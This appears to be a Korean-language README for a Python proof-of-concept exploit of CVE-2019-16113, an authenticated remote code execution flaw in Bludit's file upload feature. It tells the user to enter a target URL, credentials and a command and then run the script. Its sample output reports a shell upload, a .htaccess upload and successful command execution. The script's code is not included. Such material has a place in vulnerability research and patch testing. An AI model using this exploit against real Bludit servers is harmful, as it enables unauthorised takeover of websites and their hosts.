hg8/cve-2019-16113-pocBludit >= 3.9.2 - 인증된 RCE (CVE-2019-16113)
Bludit >= 3.9.2의 '업로드 기능'을 통한 원격 코드 실행 취약점.
간단한 Python PoC.
발견자: @christasa: https://github.com/bludit/bludit/issues/1081
스크립트에 URL, 사용자 이름, 비밀번호 및 실행할 명령을 입력한 후 스크립트를 실행하세요:
$ python CVE-2019-16113.py
[+] Loggin successful.
[+] Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73dce
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command execution successful.
pip install requests)